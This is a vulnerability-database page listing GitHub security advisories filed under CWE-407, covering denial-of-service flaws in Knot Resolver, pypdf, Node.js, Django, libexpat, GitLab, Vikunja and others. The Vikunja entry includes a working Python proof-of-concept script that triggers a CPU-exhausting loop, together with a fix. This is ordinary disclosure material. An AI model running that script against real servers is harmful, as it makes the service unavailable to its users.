Common Weakness Enumeration

CWE-407

Allowed-with-Review

Inefficient Algorithmic Complexity

Abstraction: Class · Status: Incomplete

API response cwe.mitre.org

An algorithm in a product has an inefficient worst-case computational complexity that may be detrimental to system performance and can be triggered by an attacker, typically using crafted manipulations that ensure that the worst case is being reached.

193 vulnerabilities reference this CWE, most recent first.

GHSA-QJ7C-F3XJ-JXPV

Vulnerability from github – Published: 2022-09-25 00:00 – Updated: 2025-05-27 15:31
VLAI
Details

Knot Resolver before 5.5.3 allows remote attackers to cause a denial of service (CPU consumption) because of algorithmic complexity. During an attack, an authoritative server must return large NS sets or address sets.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2022-40188"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-09-23T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "Knot Resolver before 5.5.3 allows remote attackers to cause a denial of service (CPU consumption) because of algorithmic complexity. During an attack, an authoritative server must return large NS sets or address sets.",
  "id": "GHSA-qj7c-f3xj-jxpv",
  "modified": "2025-05-27T15:31:17Z",
  "published": "2022-09-25T00:00:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-40188"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.nic.cz/knot/knot-resolver/-/merge_requests/1343#note_262558"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2022/10/msg00008.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/HIMDNIUI7GTUEKIBBYYW7OCTJQFPDNXL"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/S2VE5K3VDUHJOIA2IGT3G5R76IBADMNE"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/XO6LIVQS62MI5GG4OVYB5RHVZMYNHAHG"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/HIMDNIUI7GTUEKIBBYYW7OCTJQFPDNXL"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/S2VE5K3VDUHJOIA2IGT3G5R76IBADMNE"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/XO6LIVQS62MI5GG4OVYB5RHVZMYNHAHG"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QPXP-75PX-XJCP

Vulnerability from github – Published: 2026-03-18 16:17 – Updated: 2026-03-20 21:27
VLAI
Summary
pypdf has inefficient decoding of array-based streams
Details

Impact

An attacker who uses this vulnerability can craft a PDF which leads to long runtimes and/or large memory usage. This requires accessing an array-based stream with lots of entries.

Patches

This has been fixed in pypdf==6.9.1.

Workarounds

If you cannot upgrade yet, consider applying the changes from PR #3686.

Severity
5.1 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "pypdf"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.9.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33123"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-18T16:17:31Z",
    "nvd_published_at": "2026-03-20T10:16:18Z",
    "severity": "MODERATE"
  },
  "details": "### Impact\nAn attacker who uses this vulnerability can craft a PDF which leads to long runtimes and/or large memory usage. This requires accessing an array-based stream with lots of entries.\n\n### Patches\nThis has been fixed in [pypdf==6.9.1](https://github.com/py-pdf/pypdf/releases/tag/6.9.1).\n\n### Workarounds\nIf you cannot upgrade yet, consider applying the changes from PR [#3686](https://github.com/py-pdf/pypdf/pull/3686).",
  "id": "GHSA-qpxp-75px-xjcp",
  "modified": "2026-03-20T21:27:30Z",
  "published": "2026-03-18T16:17:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/security/advisories/GHSA-qpxp-75px-xjcp"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33123"
    },
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/pull/3686"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/py-pdf/pypdf"
    },
    {
      "type": "WEB",
      "url": "https://github.com/py-pdf/pypdf/releases/tag/6.9.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "pypdf has inefficient decoding of array-based streams"
}

GHSA-QR33-GF7M-PQ45

Vulnerability from github – Published: 2025-07-19 00:32 – Updated: 2025-07-19 00:32
VLAI
Details

The V8 release used in Node.js v24.0.0 has changed how string hashes are computed using rapidhash. This implementation re-introduces the HashDoS vulnerability as an attacker who can control the strings to be hashed can generate many hash collisions - an attacker can generate collisions even without knowing the hash-seed.

  • This vulnerability affects Node.js v24.x users.
Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2025-27209"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-07-18T23:15:23Z",
    "severity": "HIGH"
  },
  "details": "The V8 release used in Node.js v24.0.0 has changed how string hashes are computed using rapidhash. This implementation re-introduces the HashDoS vulnerability as an attacker who can control the strings to be hashed can generate many hash collisions - an attacker can generate collisions even without knowing the hash-seed.\n\n* This vulnerability affects Node.js v24.x users.",
  "id": "GHSA-qr33-gf7m-pq45",
  "modified": "2025-07-19T00:32:31Z",
  "published": "2025-07-19T00:32:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-27209"
    },
    {
      "type": "WEB",
      "url": "https://nodejs.org/en/blog/vulnerability/july-2025-security-releases"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QW25-V68C-QJF3

Vulnerability from github – Published: 2025-11-05 15:31 – Updated: 2026-06-05 14:33
VLAI
Summary
Django has a denial-of-service vulnerability in HttpResponseRedirect and HttpResponsePermanentRedirect on Windows
Details

An issue was discovered in 5.1 before 5.1.14, 4.2 before 4.2.26, and 5.2 before 5.2.8. NFKC normalization in Python is slow on Windows. As a consequence, django.http.HttpResponseRedirect, django.http.HttpResponsePermanentRedirect, and the shortcut django.shortcuts.redirect were subject to a potential denial-of-service attack via certain inputs with a very large number of Unicode characters. Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected. Django would like to thank Seokchan Yoon for reporting this issue.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "django"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.2a1"
            },
            {
              "fixed": "5.2.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "django"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0a1"
            },
            {
              "fixed": "5.1.14"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "django"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.2.26"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-64458"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-05T19:55:37Z",
    "nvd_published_at": "2025-11-05T15:15:40Z",
    "severity": "HIGH"
  },
  "details": "An issue was discovered in 5.1 before 5.1.14, 4.2 before 4.2.26, and 5.2 before 5.2.8.\nNFKC normalization in Python is slow on Windows. As a consequence, `django.http.HttpResponseRedirect`, `django.http.HttpResponsePermanentRedirect`, and the shortcut `django.shortcuts.redirect`  were subject to a potential  denial-of-service attack via certain inputs with a very large number of Unicode characters.\nEarlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.\nDjango would like to thank Seokchan Yoon for reporting this issue.",
  "id": "GHSA-qw25-v68c-qjf3",
  "modified": "2026-06-05T14:33:43Z",
  "published": "2025-11-05T15:31:07Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64458"
    },
    {
      "type": "WEB",
      "url": "https://github.com/django/django/commit/3790593781d26168e7306b5b2f8ea0309de16242"
    },
    {
      "type": "WEB",
      "url": "https://github.com/django/django/commit/4f5d904b63751dea9ffc3b0e046404a7fa5881ac"
    },
    {
      "type": "WEB",
      "url": "https://github.com/django/django/commit/6e13348436fccf8f22982921d6a3a3e65c956a9f"
    },
    {
      "type": "WEB",
      "url": "https://github.com/django/django/commit/770eea38d7a0e9ba9455140b5a9a9e33618226a7"
    },
    {
      "type": "WEB",
      "url": "https://docs.djangoproject.com/en/dev/releases/security"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/django/django"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/django/PYSEC-2025-107.yaml"
    },
    {
      "type": "WEB",
      "url": "https://groups.google.com/g/django-announce"
    },
    {
      "type": "WEB",
      "url": "https://www.djangoproject.com/weblog/2025/nov/05/security-releases"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Django has a denial-of-service vulnerability in HttpResponseRedirect and HttpResponsePermanentRedirect on Windows"
}

GHSA-R237-W2W6-JQ3P

Vulnerability from github – Published: 2022-05-13 01:05 – Updated: 2024-03-05 18:21
VLAI
Summary
Inefficient Algorithmic Complexity in Apache Santuario XML Security
Details

jcp/xml/dsig/internal/dom/DOMCanonicalizationMethod.java in Apache Santuario XML Security for Java 1.4.x before 1.4.8 and 1.5.x before 1.5.5 allows context-dependent attackers to spoof an XML Signature by using the CanonicalizationMethod parameter to specify an arbitrary weak "canonicalization algorithm to apply to the SignedInfo part of the Signature."

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.santuario:xmlsec"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.4.0"
            },
            {
              "fixed": "1.4.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.santuario:xmlsec"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.5.0"
            },
            {
              "fixed": "1.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2013-2172"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-07-08T19:08:41Z",
    "nvd_published_at": "2013-08-20T22:55:00Z",
    "severity": "MODERATE"
  },
  "details": "`jcp/xml/dsig/internal/dom/DOMCanonicalizationMethod.java` in Apache Santuario XML Security for Java 1.4.x before 1.4.8 and 1.5.x before 1.5.5 allows context-dependent attackers to spoof an XML Signature by using the CanonicalizationMethod parameter to specify an arbitrary weak \"canonicalization algorithm to apply to the SignedInfo part of the Signature.\"",
  "id": "GHSA-r237-w2w6-jq3p",
  "modified": "2024-03-05T18:21:58Z",
  "published": "2022-05-13T01:05:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-2172"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/santuario-java/commit/25e0e11493b061749f778030036cb5c406b34590"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/santuario-java/commit/8e8f8bf92a43608d7d5f9e357fae19244454a61f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/santuario-java"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/680e6938b6412e26d5446054fd31de2011d33af11786b989127d1cc3%40%3Ccommits.santuario.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/680e6938b6412e26d5446054fd31de2011d33af11786b989127d1cc3@%3Ccommits.santuario.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r1c07a561426ec5579073046ad7f4207cdcef452bb3100abaf908e0cd%40%3Ccommits.santuario.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread.html/r1c07a561426ec5579073046ad7f4207cdcef452bb3100abaf908e0cd@%3Ccommits.santuario.apache.org%3E"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20160317145515/http://www.securityfocus.com/archive/1/534161/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "https://web.archive.org/web/20200228060314/http://www.securityfocus.com/bid/60846"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2013-1207.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2013-1208.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2013-1209.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2013-1217.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2013-1218.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2013-1219.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2013-1220.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2013-1375.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2013-1437.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2013-1853.html"
    },
    {
      "type": "WEB",
      "url": "http://rhn.redhat.com/errata/RHSA-2014-0212.html"
    },
    {
      "type": "WEB",
      "url": "http://santuario.apache.org/secadv.data/CVE-2013-2172.txt.asc"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2014/Dec/23"
    },
    {
      "type": "WEB",
      "url": "http://svn.apache.org/viewvc/santuario/xml-security-java/branches/1.5.x-fixes/src/main/java/org/apache/jcp/xml/dsig/internal/dom/DOMCanonicalizationMethod.java?r1=1353876\u0026r2=1493772\u0026pathrev=1493772\u0026diff_format=h"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2014/dsa-3065"
    },
    {
      "type": "WEB",
      "url": "http://www.oracle.com/technetwork/topics/security/cpujul2014-1972956.html"
    },
    {
      "type": "WEB",
      "url": "http://www.ubuntu.com/usn/USN-2028-1"
    },
    {
      "type": "WEB",
      "url": "http://www.vmware.com/security/advisories/VMSA-2014-0012.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [],
  "summary": "Inefficient Algorithmic Complexity in Apache Santuario XML Security"
}

GHSA-R24R-R242-XM9F

Vulnerability from github – Published: 2024-11-18 18:30 – Updated: 2024-11-18 18:30
VLAI
Details

A vulnerability in the Transport Layer Security (TLS) protocol implementation of Cisco AsyncOS software for Cisco Email Security Appliance (ESA) could allow an unauthenticated, remote attacker to cause high CPU usage on an affected device, resulting in a denial of service (DoS) condition. The vulnerability is due to inefficient processing of incoming TLS traffic. An attacker could exploit this vulnerability by sending a series of crafted TLS packets to an affected device. A successful exploit could allow the attacker to trigger a prolonged state of high CPU utilization. The affected device would still be operative, but response time and overall performance may be degraded.There are no workarounds that address this vulnerability.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
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{
  "affected": [],
  "aliases": [
    "CVE-2020-3548"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-18T16:15:08Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability in the Transport Layer Security (TLS) protocol implementation of Cisco\u0026nbsp;AsyncOS software for Cisco\u0026nbsp;Email Security Appliance (ESA) could allow an unauthenticated, remote attacker to cause high CPU usage on an affected device, resulting in a denial of service (DoS) condition.\nThe vulnerability is due to inefficient processing of incoming TLS traffic. An attacker could exploit this vulnerability by sending a series of crafted TLS packets to an affected device. A successful exploit could allow the attacker to trigger a prolonged state of high CPU utilization. The affected device would still be operative, but response time and overall performance may be degraded.There are no workarounds that address this vulnerability.",
  "id": "GHSA-r24r-r242-xm9f",
  "modified": "2024-11-18T18:30:56Z",
  "published": "2024-11-18T18:30:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-3548"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-esa-tls-dos-xW53TBhb"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R396-2Q2C-PJHR

Vulnerability from github – Published: 2026-05-10 09:31 – Updated: 2026-07-14 15:31
VLAI
Details

In libexpat before 2.8.1, the computational complexity of attribute name collision checks allows a denial of service via moderately sized crafted XML input.

Severity
2.9 (Low)
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
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{
  "affected": [],
  "aliases": [
    "CVE-2026-45186"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-10T07:16:07Z",
    "severity": "LOW"
  },
  "details": "In libexpat before 2.8.1, the computational complexity of attribute name collision checks allows a denial of service via moderately sized crafted XML input.",
  "id": "GHSA-r396-2q2c-pjhr",
  "modified": "2026-07-14T15:31:57Z",
  "published": "2026-05-10T09:31:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45186"
    },
    {
      "type": "WEB",
      "url": "https://github.com/libexpat/libexpat/pull/1216"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:22715"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:22721"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:23230"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:26319"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:27201"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/errata/RHSA-2026:29197"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-45186"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2468575"
    },
    {
      "type": "WEB",
      "url": "https://cert-portal.siemens.com/productcert/html/ssa-082556.html"
    },
    {
      "type": "WEB",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-45186.json"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/11/16"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R3MM-QXV5-X23H

Vulnerability from github – Published: 2024-11-26 21:32 – Updated: 2024-11-26 21:32
VLAI
Details

A Denial of Service (DoS) issue has been discovered in GitLab CE/EE affecting all versions prior to 12.6 prior to 17.4.5, 17.5 prior to 17.5.3, and 17.6 prior to 17.6.1. An attacker could cause a denial of service with a crafted cargo.toml file.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2024-8237"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-26T19:15:32Z",
    "severity": "MODERATE"
  },
  "details": "A Denial of Service (DoS) issue has been discovered in GitLab CE/EE affecting all versions prior to 12.6 prior to 17.4.5, 17.5 prior to 17.5.3, and 17.6 prior to 17.6.1. An attacker could cause a denial of service with a crafted cargo.toml file.",
  "id": "GHSA-r3mm-qxv5-x23h",
  "modified": "2024-11-26T21:32:24Z",
  "published": "2024-11-26T21:32:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-8237"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/2648665"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/480900"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-R4FG-73RC-HHH7

Vulnerability from github – Published: 2026-04-10 15:34 – Updated: 2026-04-10 19:36
VLAI
Summary
Vikunja has Algorithmic Complexity DoS in Repeating Task Handler
Details

Summary

The addRepeatIntervalToTime function uses an O(n) loop that advances a date by the task's RepeatAfter duration until it exceeds the current time. By creating a repeating task with a 1-second interval and a due date far in the past, an attacker triggers billions of loop iterations, consuming CPU and holding a database connection for minutes per request.

Details

The vulnerable function at pkg/models/tasks.go:1456-1464:

func addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time {
    for {
        t = t.Add(duration)
        if t.After(now) {
            break
        }
    }
    return t
}

The RepeatAfter field accepts any positive integer (validated as range(0|9223372036854775807)), and DueDate accepts any valid timestamp including dates far in the past. When a task with repeat_after=1 and due_date=1900-01-01 is marked as done, the loop runs approximately 4 billion iterations (~60+ seconds of CPU time).

Each request holds a goroutine and a database connection for the duration. With the default connection pool size of 100, approximately 100 concurrent requests exhaust all available connections.

Proof of Concept

Tested on Vikunja v2.2.2.

import requests, time

TARGET = "http://localhost:3456"
API = f"{TARGET}/api/v1"

token = requests.post(f"{API}/login",
    json={"username": "user1", "password": "User1pass!"}).json()["token"]
h = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

proj = requests.put(f"{API}/projects", headers=h, json={"title": "DoS Test"}).json()

# create task with repeat_after=1 second and a date far in the past
task = requests.put(f"{API}/projects/{proj['id']}/tasks", headers=h,
    json={"title": "DoS", "repeat_after": 1,
          "due_date": "1900-01-01T00:00:00Z"}).json()

# mark done - triggers the vulnerable loop
start = time.time()
try:
    r = requests.post(f"{API}/tasks/{task['id']}", headers=h,
        json={"title": "DoS", "done": True}, timeout=120)
    print(f"Response: {r.status_code} in {time.time()-start:.1f}s")
except requests.exceptions.Timeout:
    print(f"TIMEOUT after {time.time()-start:.1f}s")

Output:

TIMEOUT after 60.0s

The request hangs for 60+ seconds (the loop runs ~4 billion iterations). For comparison, due_date=2020-01-01 completes in ~4.8 seconds, confirming the linear relationship. Each request holds a goroutine and a database connection for the duration.

Impact

Any authenticated user can render the Vikunja instance unresponsive by creating repeating tasks with small intervals and dates far in the past, then marking them as done. With the default database connection pool of 100, approximately 100 concurrent requests would exhaust all connections, preventing all users from accessing the application.

Recommended Fix

Replace the O(n) loop with O(1) arithmetic:

func addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time {
    if duration <= 0 {
        return t
    }
    diff := now.Sub(t)
    if diff <= 0 {
        return t.Add(duration)
    }
    intervals := int64(diff/duration) + 1
    return t.Add(time.Duration(intervals) * duration)
}

Found and reported by aisafe.io

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.2.2"
      },
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-35599"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-407"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T15:34:41Z",
    "nvd_published_at": "2026-04-10T17:17:03Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `addRepeatIntervalToTime` function uses an O(n) loop that advances a date by the task\u0027s `RepeatAfter` duration until it exceeds the current time. By creating a repeating task with a 1-second interval and a due date far in the past, an attacker triggers billions of loop iterations, consuming CPU and holding a database connection for minutes per request.\n\n## Details\n\nThe vulnerable function at `pkg/models/tasks.go:1456-1464`:\n\n```go\nfunc addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time {\n    for {\n        t = t.Add(duration)\n        if t.After(now) {\n            break\n        }\n    }\n    return t\n}\n```\n\nThe `RepeatAfter` field accepts any positive integer (validated as `range(0|9223372036854775807)`), and `DueDate` accepts any valid timestamp including dates far in the past. When a task with `repeat_after=1` and `due_date=1900-01-01` is marked as done, the loop runs approximately 4 billion iterations (~60+ seconds of CPU time).\n\nEach request holds a goroutine and a database connection for the duration. With the default connection pool size of 100, approximately 100 concurrent requests exhaust all available connections.\n\n## Proof of Concept\n\nTested on Vikunja v2.2.2.\n\n```python\nimport requests, time\n\nTARGET = \"http://localhost:3456\"\nAPI = f\"{TARGET}/api/v1\"\n\ntoken = requests.post(f\"{API}/login\",\n    json={\"username\": \"user1\", \"password\": \"User1pass!\"}).json()[\"token\"]\nh = {\"Authorization\": f\"Bearer {token}\", \"Content-Type\": \"application/json\"}\n\nproj = requests.put(f\"{API}/projects\", headers=h, json={\"title\": \"DoS Test\"}).json()\n\n# create task with repeat_after=1 second and a date far in the past\ntask = requests.put(f\"{API}/projects/{proj[\u0027id\u0027]}/tasks\", headers=h,\n    json={\"title\": \"DoS\", \"repeat_after\": 1,\n          \"due_date\": \"1900-01-01T00:00:00Z\"}).json()\n\n# mark done - triggers the vulnerable loop\nstart = time.time()\ntry:\n    r = requests.post(f\"{API}/tasks/{task[\u0027id\u0027]}\", headers=h,\n        json={\"title\": \"DoS\", \"done\": True}, timeout=120)\n    print(f\"Response: {r.status_code} in {time.time()-start:.1f}s\")\nexcept requests.exceptions.Timeout:\n    print(f\"TIMEOUT after {time.time()-start:.1f}s\")\n```\n\nOutput:\n```\nTIMEOUT after 60.0s\n```\n\nThe request hangs for 60+ seconds (the loop runs ~4 billion iterations). For comparison, `due_date=2020-01-01` completes in ~4.8 seconds, confirming the linear relationship. Each request holds a goroutine and a database connection for the duration.\n\n## Impact\n\nAny authenticated user can render the Vikunja instance unresponsive by creating repeating tasks with small intervals and dates far in the past, then marking them as done. With the default database connection pool of 100, approximately 100 concurrent requests would exhaust all connections, preventing all users from accessing the application.\n\n## Recommended Fix\n\nReplace the O(n) loop with O(1) arithmetic:\n\n```go\nfunc addRepeatIntervalToTime(now, t time.Time, duration time.Duration) time.Time {\n    if duration \u003c= 0 {\n        return t\n    }\n    diff := now.Sub(t)\n    if diff \u003c= 0 {\n        return t.Add(duration)\n    }\n    intervals := int64(diff/duration) + 1\n    return t.Add(time.Duration(intervals) * duration)\n}\n```\n\n---\n*Found and reported by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-r4fg-73rc-hhh7",
  "modified": "2026-04-10T19:36:35Z",
  "published": "2026-04-10T15:34:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-r4fg-73rc-hhh7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35599"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/pull/2577"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/commit/6df0d6c8f54b01db6464c42810e40e55f12b481b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vikunja has Algorithmic Complexity DoS in Repeating Task Handler"
}

